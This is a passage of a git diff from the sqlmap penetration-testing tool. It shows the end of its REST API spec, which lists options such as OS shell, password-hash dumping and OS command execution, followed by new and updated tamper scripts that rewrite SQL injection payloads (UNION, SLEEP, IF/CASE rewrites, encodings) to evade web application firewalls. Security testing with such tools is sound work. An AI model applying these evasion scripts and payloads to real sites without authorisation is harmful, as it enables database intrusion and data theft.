tags: - - "option" - summary: "List task options" - description: "" - operationId: "optionList" - produces: - - "application/json" - parameters: - - name: "taskid" - in: "path" - description: "ID of an existing task to list it's options" - required: true - type: "string" - responses: - 200: - description: "Task options successfully listed" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - options: - type: object - additionalProperties: - type: string - example: - crawlDepth: null - osShell: false - getUsers: false - getPasswordHashes: false - excludeSysDbs: false - ignoreTimeouts: false - regData: null - fileDest: null - prefix: null - code: null - googlePage: 1 - skip: null - query: null - randomAgent: false - osPwn: false - authType: null - safeUrl: null - requestFile: null - predictOutput: false - wizard: false - stopFail: false - forms: false - uChar: null - secondReq: null - taskid: d977b0e5f091370e - pivotColumn: null - dropSetCookie: false - smart: false - paramExclude: null - risk: 1 - sqlFile: null - rParam: null - getCurrentUser: false - notString: null - getRoles: false - getPrivileges: false - testParameter: null - tbl: null - charset: null - trafficFile: null - osSmb: false - level: 1 - dnsDomain: null - outputDir: null - encoding: null - skipWaf: false - timeout: 30 - firstChar: null - torPort: null - getComments: false - binaryFields: null - checkTor: false - commonTables: false - direct: null - tmpPath: null - titles: false - getSchema: false - identifyWaf: false - paramDel: null - safeReqFile: null - regKey: null - murphyRate: null - limitStart: null - crawlExclude: null - flushSession: false - loadCookies: null - csvDel: - offline: false - method: null - tmpDir: null - fileWrite: null - disablePrecon: false - osBof: false - testSkip: null - invalidLogical: false - getCurrentDb: false - hexConvert: false - proxyFile: null - answers: null - host: null - dependencies: false - cookie: null - proxy: null - regType: null - optimize: false - limitStop: null - search: false - uFrom: null - noCast: false - testFilter: null - ignoreCode: null - eta: false - csrfToken: null - threads: 1 - logFile: null - os: null - col: null - skipStatic: false - proxyCred: null - verbose: 1 - isDba: false - updateAll: false - privEsc: false - forceDns: false - getAll: false - api: true - url: http://www.test.com/index.php?id=1 - invalidBignum: false - regexp: null - getDbs: false - freshQueries: false - uCols: null - smokeTest: false - udfInject: false - invalidString: false - tor: false - forceSSL: false - beep: false - noEscape: false - configFile: null - scope: null - authFile: null - torType: SOCKS5 - regVal: null - dummy: false - checkInternet: false - safePost: null - safeFreq: null - skipUrlEncode: false - referer: null - liveTest: false - retries: 3 - extensiveFp: false - dumpTable: false - getColumns: false - batch: true - purge: false - headers: null - authCred: null - osCmd: null - suffix: null - dbmsCred: null - regDel: false - shLib: null - sitemapUrl: null - timeSec: 5 - msfPath: null - dumpAll: false - fileRead: null - getHostname: false - sessionFile: null - disableColoring: true - getTables: false - listTampers: false - agent: null - webRoot: null - exclude: null - lastChar: null - string: null - dbms: null - dumpWhere: null - tamper: null - ignoreRedirects: false - hpp: false - runCase: null - delay: 0 - evalCode: null - cleanup: false - csrfUrl: null - secondUrl: null - getBanner: true - profile: false - regRead: false - bulkFile: null - db: null - dumpFormat: CSV - alert: null - harFile: null - nullConnection: false - user: null - parseErrors: false - getCount: false - data: null - regAdd: false - ignoreProxy: false - database: /tmp/sqlmapipc-jGw6ZY - mobile: false - googleDork: null - saveConfig: null - sqlShell: false - tech: BEUSTQ - textOnly: false - cookieDel: null - commonColumns: false - keepAlive: false - /option/{taskid}/get: - post: - tags: - - "option" - summary: "Get task option value(s)" - description: "" - operationId: "optionGet" - consumes: - - "application/json" - produces: - - "application/json" - parameters: - - name: "taskid" - in: "path" - description: "ID of an existing task" - required: true - type: "string" - - in: body - name: options - description: "" - schema: - type: array - items: - type: string - example: ["url", "timeout"] - responses: - 200: - description: "Task option value successfully retrieved" - schema: - type: object - properties: - success: - type: boolean - options: - type: array - items: - type: object - properties: - name: - type: string - value: - type: string - example: - - success: true - options: - url: http://www.test.com/index.php?id=1 - timeout: 30 -externalDocs: - description: "Find out more about sqlmap API (REST-JSON)" - url: "https://github.com/sqlmapproject/sqlmap/wiki/Usage#api-rest-json" \ No newline at end of file diff --git a/tamper/0eunion.py b/tamper/0eunion.py new file mode 100644 index 00000000000..5a52c92fa06 --- /dev/null +++ b/tamper/0eunion.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces an integer followed by UNION with an integer followed by e0UNION + + Requirement: + * MySQL + * MsSQL + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('1 UNION ALL SELECT') + '1e0UNION ALL SELECT' + """ + + return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload diff --git a/tamper/__init__.py b/tamper/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index d5ed52de31f..9562002a131 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -14,13 +14,13 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87) + Replaces single quotes (') with their UTF-8 full-width equivalents (e.g. ' -> %EF%BC%87) References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 - * http://lukasz.pilorz.net/testy/unicode_conversion/ - * http://sla.ckers.org/forum/read.php?13,11562,11850 - * http://lukasz.pilorz.net/testy/full_width_utf/index.phps + * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ + * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 + * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index 751c0096bcc..0cbafe30cd6 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -14,7 +14,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27) + Replaces single quotes (') with an illegal double Unicode encoding (e.g. ' -> %00%27) >>> tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271' diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 5d23e4d5789..92a5fb3ef5c 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -18,7 +18,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Appends (Access) NULL byte character (%00) at the end of payload + Appends an (Access) NULL byte character (%00) at the end of payload Requirement: * Microsoft Access diff --git a/tamper/base64encode.py b/tamper/base64encode.py index 86eaa1c7bd5..b5de4e74970 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,14 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import base64 - +from lib.core.convert import encodeBase64 from lib.core.enums import PRIORITY -from lib.core.settings import UNICODE_ENCODING __priority__ = PRIORITY.LOW @@ -17,10 +15,10 @@ def dependencies(): def tamper(payload, **kwargs): """ - Base64-encodes all characters in a given payload + Encodes the entire payload using Base64 >>> tamper("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' """ - return base64.b64encode(payload.encode(UNICODE_ENCODING)) if payload else payload + return encodeBase64(payload, binary=False) if payload else payload diff --git a/tamper/between.py b/tamper/between.py index 7ee05fb41db..8e9538088f0 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #' + Replaces the greater-than operator (>) with NOT BETWEEN 0 AND # and the equal sign (=) with BETWEEN # AND # Tested against: * Microsoft SQL Server 2005 @@ -34,6 +34,8 @@ def tamper(payload, **kwargs): '1 AND A NOT BETWEEN 0 AND B--' >>> tamper('1 AND A = B--') '1 AND A BETWEEN B AND B--' + >>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()') + '1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()' """ retVal = payload @@ -48,7 +50,7 @@ def tamper(payload, **kwargs): retVal = re.sub(r"\s*>\s*(\d+|'[^']+'|\w+\(\d+\))", r" NOT BETWEEN 0 AND \g<1>", payload) if retVal == payload: - match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*(\w+)\s*", payload) + match = re.search(r"(?i)(\b(AND|OR)\b\s+)(?!.*\b(AND|OR)\b)([^=]+?)\s*=\s*([\w()]+)\s*", payload) if match: _ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5)) diff --git a/tamper/binary.py b/tamper/binary.py new file mode 100644 index 00000000000..0259b2911da --- /dev/null +++ b/tamper/binary.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Injects the keyword binary where applicable + + Requirement: + * MySQL + + >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL') + '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL' + >>> tamper('1 AND 2>1') + '1 AND binary 2>binary 1' + >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END') + 'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\bNULL\b", "binary NULL", retVal) + retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal) + retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal) + retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal) + retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal) + retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal) + retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal) + + return retVal diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index 4b88a3985c5..3ca4b8d4a3c 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -17,7 +17,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE + Replaces the space following an SQL statement with a random valid blank character, then converts = to LIKE Requirement: * Blue Coat SGOS with WAF activated as documented in @@ -43,7 +43,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"\b(?P<word>[A-Z_]+)(?=[^\w(]|\Z)", process, retVal) retVal = re.sub(r"\s*=\s*", " LIKE ", retVal) retVal = retVal.replace("%09 ", "%09") diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 512c2b3b4c6..4213421cb72 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -16,7 +16,7 @@ def dependencies(): def tamper(payload, **kwargs): """ - Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) + Double URL-encodes each character in the payload (ignores already encoded ones) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554) Notes: * Useful to bypass some weak web application firewalls that do not double URL-decode the request before processing it through their ruleset diff --git a/tamper/charencode.py b/tamper/charencode.py index bf2283b1f70..980406aa12b 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 8bd456fabc4..3772b0b24dd 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,15 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import string -from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage +from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index 790d8d6c49a..80b600f9ca0 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 7ebecbcecb4..6361a7563ba 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index 3795868297a..6743ddc0876 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index 23933c279ea..a3fbf33b507 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index d2663bb2f79..1aeca3098e2 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/decentities.py b/tamper/decentities.py new file mode 100644 index 00000000000..7ecb32cf4d3 --- /dev/null +++ b/tamper/decentities.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode in decimal (using code points) all characters (e.g. ' -> ') + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + retVal += "&#%s;" % ord(payload[i]) + i += 1 + + return retVal diff --git a/tamper/dunion.py b/tamper/dunion.py new file mode 100644 index 00000000000..db2cd94375d --- /dev/null +++ b/tamper/dunion.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE)) + +def tamper(payload, **kwargs): + """ + Replaces instances of <int> UNION with <int>DUNION + + Requirement: + * Oracle + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('1 UNION ALL SELECT') + '1DUNION ALL SELECT' + """ + + return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload) if payload else payload diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index bc65eff13db..9552dcb7a7d 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import os import re -from lib.core.common import singleTimeWarnMessage -from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): - singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) + pass def tamper(payload, **kwargs): """ diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py new file mode 100644 index 00000000000..0bad97d1fdc --- /dev/null +++ b/tamper/equaltorlike.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart + + Tested against: + * MySQL 4, 5.0 and 5.5 + + Notes: + * Useful to bypass weak and bespoke web application firewalls that + filter the equal character ('=') + + >>> tamper('SELECT * FROM users WHERE id=1') + 'SELECT * FROM users WHERE id RLIKE 1' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal) + + return retVal diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index db7c4c38876..aba948a065f 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/greatest.py b/tamper/greatest.py index 989280cc89d..742b090c1b6 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 7a40f9f4c61..cb8dc946f7a 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -49,7 +49,7 @@ def process(match): retVal = payload if payload: - retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) + retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", process, retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal diff --git a/tamper/0x2char.py b/tamper/hex2char.py similarity index 60% rename from tamper/0x2char.py rename to tamper/hex2char.py index 26bb4fda017..89bcc32c8c6 100644 --- a/tamper/0x2char.py +++ b/tamper/hex2char.py @@ -1,18 +1,23 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +import os import re +from lib.core.common import singleTimeWarnMessage +from lib.core.convert import decodeHex +from lib.core.convert import getOrds +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ @@ -36,9 +41,9 @@ def tamper(payload, **kwargs): if payload: for match in re.finditer(r"\b0x([0-9a-f]+)\b", retVal): if len(match.group(1)) > 2: - result = "CONCAT(%s)" % ','.join("CHAR(%d)" % ord(_) for _ in match.group(1).decode("hex")) + result = "CONCAT(%s)" % ','.join("CHAR(%d)" % _ for _ in getOrds(decodeHex(match.group(1)))) else: - result = "CHAR(%d)" % ord(match.group(1).decode("hex")) + result = "CHAR(%d)" % ord(decodeHex(match.group(1))) retVal = retVal.replace(match.group(0), result) return retVal diff --git a/tamper/hexentities.py b/tamper/hexentities.py new file mode 100644 index 00000000000..9b060673a04 --- /dev/null +++ b/tamper/hexentities.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode in hexadecimal (using code points) all characters (e.g. ' -> 1) + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + retVal += "&#x%s;" % format(ord(payload[i]), "x") + i += 1 + + return retVal diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index 8eed7b406b6..ce09386be77 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -20,6 +20,12 @@ def tamper(payload, **kwargs): >>> tamper("1' AND SLEEP(5)#") '1' AND SLEEP(5)#' + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' """ - return re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload + if payload: + payload = re.sub(r"&#(\d+);", lambda match: chr(int(match.group(1))), payload) # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5203 + payload = re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) + + return payload diff --git a/tamper/if2case.py b/tamper/if2case.py new file mode 100644 index 00000000000..e43c4f8f217 --- /dev/null +++ b/tamper/if2case.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.compat import xrange +from lib.core.enums import PRIORITY +from lib.core.settings import REPLACEMENT_MARKER + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart + + Requirement: + * MySQL + * SQLite (possibly) + * SAP MaxDB (possibly) + + Tested against: + * MySQL 5.0 and 5.5 + + Notes: + * Useful to bypass very weak and bespoke web application firewalls + that filter the IF() functions + + >>> tamper('IF(1, 2, 3)') + 'CASE WHEN (1) THEN (2) ELSE (3) END' + >>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)') + 'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END' + """ + + if payload and payload.find("IF") > -1: + payload = payload.replace("()", REPLACEMENT_MARKER) + while payload.find("IF(") > -1: + index = payload.find("IF(") + depth = 1 + commas, end = [], None + + for i in xrange(index + len("IF("), len(payload)): + if depth == 1 and payload[i] == ',': + commas.append(i) + + elif depth == 1 and payload[i] == ')': + end = i + break + + elif payload[i] == '(': + depth += 1 + + elif payload[i] == ')': + depth -= 1 + + if len(commas) == 2 and end: + a = payload[index + len("IF("):commas[0]].strip("()") + b = payload[commas[0] + 1:commas[1]].lstrip().strip("()") + c = payload[commas[1] + 1:end].lstrip().strip("()") + newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c) + payload = payload[:index] + newVal + payload[end + 1:] + else: + break + + payload = payload.replace(REPLACEMENT_MARKER, "()") + + return payload diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index 0a23ce71ac7..36c8eb9462d 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'doc/COPYING' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 060b88a03f2..a6399f290dd 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,10 +1,11 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ +from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 7076fecaa70..bb977b90229 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/least.py b/tamper/least.py index 53a8a6aadef..a4f84a5a9a3 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/lowercase.py b/tamper/lowercase.py index 101e4436a70..ab0fa2e9a0c 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginx.py b/tamper/luanginx.py index edd22583670..aca3e3a1b10 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -import string import random +import string +from lib.core.compat import xrange from lib.core.enums import HINT from lib.core.enums import PRIORITY from lib.core.settings import DEFAULT_GET_POST_DELIMITER @@ -25,12 +26,12 @@ def tamper(payload, **kwargs): * Lua-Nginx WAFs do not support processing of more than 100 parameters >>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload) - 